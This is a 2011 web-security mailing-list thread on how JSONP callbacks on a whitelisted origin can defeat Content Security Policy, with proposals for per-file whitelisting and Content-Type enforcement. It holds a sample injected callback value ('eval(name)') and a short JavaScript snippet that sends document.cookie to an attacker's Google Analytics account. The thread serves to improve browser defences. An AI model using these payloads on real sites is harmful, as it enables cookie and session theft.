Re: CSP and jsonp callbacks

I'm sorry.  I'm not sure I follow.  How is the attacker able to run
the script below?  I agree that once the attacker can run script in
the honest site's security origin, the attacker has won.

Adam


On Mon, May 30, 2011 at 11:36 AM, sird@rckc.at <sird@rckc.at> wrote:
> It's an example :P
>
> but ok, let's say the attacker uses:
>
>  var _gaq = _gaq || [];
>  _gaq.push(['_setAccount', 'UA-evil-1']);
>  _gaq.push(['_trackPageview']);
>  _gaq.push(['_trackEvent', 'cookies', 'add', document.cookie]);
>
> And uses google analytics to send data back to the attacker.
>
> Or let's say the attacker iframes youtube.com and loads a payload
> inside a gadget in youtube.
>
> Or let's say the attacker does the attack directly with XHR.
>
>
> -- Eduardo
>
>
>
>
> On Mon, May 30, 2011 at 1:00 PM, Adam Barth <w3c@adambarth.com> wrote:
>> On Mon, May 30, 2011 at 10:37 AM, Eduardo Vela <sirdarckcat@gmail.com> wrote:
>>> Hi List.
>>>
>>> I think this issue has came up before (can't find the thread but I've
>>> seen it) and Masato (cc'd) brought this up to us recently.
>>>
>>> What can a CSP user do in the following case:
>>>
>>> 1. www.mozilla.org trusts scripts from www.youtube.com because they
>>> use one of their scripts.
>>> 2. Attacker is able to do
>>> www.youtube.com/video/export?id=1337&callback=eval(name)
>>
>> Won't that be blocked because eval is blocked?
>>
>> Adam
>>
>>
>>> 3. Then Mozilla isn't capable of protecting using CSP.
>>>
>>> In general, Mozilla can't realistically know all the things we put in
>>> www.youtube.com. If Youtube doesn't care about CSP, there's no reason
>>> for them to fix it. And Mozilla might not be able to mirror the script
>>> to their own servers because it might change at any moment, and their
>>> site might break.
>>>
>>> Could it be possible to whitelist specific files, instead of complete
>>> origins? Maybe even global expressions (e.g.
>>> www.youtube.com/scripts/*.js)?
>>> Or.. maybe Mozilla shouldn't trust Youtube at all?
>>> What about.. Content-Type enforcement? Force scripts allowed on a CSP
>>> document to have the right Content-Type.
>>>
>>> How does this apply for the use case of stats services, captcha, ads,
>>> etc.. which all require external scripts?
>>>
>>> I think forcing the right Content-Type for scripts might be the best
>>> solution, and maybe a rule to override this behavior, comments?
>>>
>>> Thanks!!
>>>
>>> -- Eduardo
>>>
>>>
>>
>

Received on Monday, 30 May 2011 18:50:06 UTC